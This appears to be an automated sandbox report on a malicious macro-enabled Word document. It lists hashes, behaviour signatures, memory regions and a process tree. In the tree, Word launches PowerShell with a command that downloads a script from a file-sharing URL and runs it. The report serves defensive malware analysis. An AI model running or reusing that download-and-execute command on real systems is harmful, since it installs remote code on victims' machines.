Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    02-08-2024 02:03

General

  • Target

    861375605b6f4b622556d5b04f6329440a26b38dfa066b114c55d258ac4895bc.docm

  • Size

    109KB

  • MD5

    639df28efc7717655b1d8cc618a76b1c

  • SHA1

    9e79c9d82ad07f95b09e73bbba792a889911f51e

  • SHA256

    861375605b6f4b622556d5b04f6329440a26b38dfa066b114c55d258ac4895bc

  • SHA512

    62fdd2c3b2da4481c4cb380e01a37c67f7005e5024cef3b960883b227b659e056680152d2d72002a1496e293e7f97a47d3a67f8ab890b63209a00f19862a3d6c

  • SSDEEP

    1536:vkc1B8Tf5nq7gPgP8MDw/jlQx1JE7vReOr0l77CXXNaHsdUXSIt98iuB/xDC:vV2ClwH9r0l77AnsSmy/B/xDC

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\861375605b6f4b622556d5b04f6329440a26b38dfa066b114c55d258ac4895bc.docm"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/rgZiV9iE/8r-wKti0.d13d81b1839707719820361a64160ba8 -o test.js; explorer.exe test.js
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Windows\SysWOW64\explorer.exe
        "C:\Windows\system32\explorer.exe" test.js
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1136
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2312
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1772

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      6a0aa66ab75803d0f7ea64f930dbc722

      SHA1

      7df9c00504c2e38360df6e2413f4fc367a43e598

      SHA256

      0dd096845213dd2184ffeae0fbce26f446ce44d0e05392804992c3a9a7cded5d

      SHA512

      95fb7a77ce23d4f53cc566a196463807ffd4d4da2cb4983695069d07dce7831260ccebbcfc37751c7b105bb0b8acf9a2ff14b012e2c806bfd21acf26b32422a3

    • memory/1772-30-0x0000000004100000-0x0000000004110000-memory.dmp

      Filesize

      64KB

    • memory/2316-11-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2316-0-0x000000002FB81000-0x000000002FB82000-memory.dmp

      Filesize

      4KB

    • memory/2316-12-0x000000007169D000-0x00000000716A8000-memory.dmp

      Filesize

      44KB

    • memory/2316-13-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2316-21-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2316-20-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

    • memory/2316-2-0x000000007169D000-0x00000000716A8000-memory.dmp

      Filesize

      44KB

    • memory/2316-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2316-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2316-51-0x000000007169D000-0x00000000716A8000-memory.dmp

      Filesize

      44KB

    • memory/2316-52-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB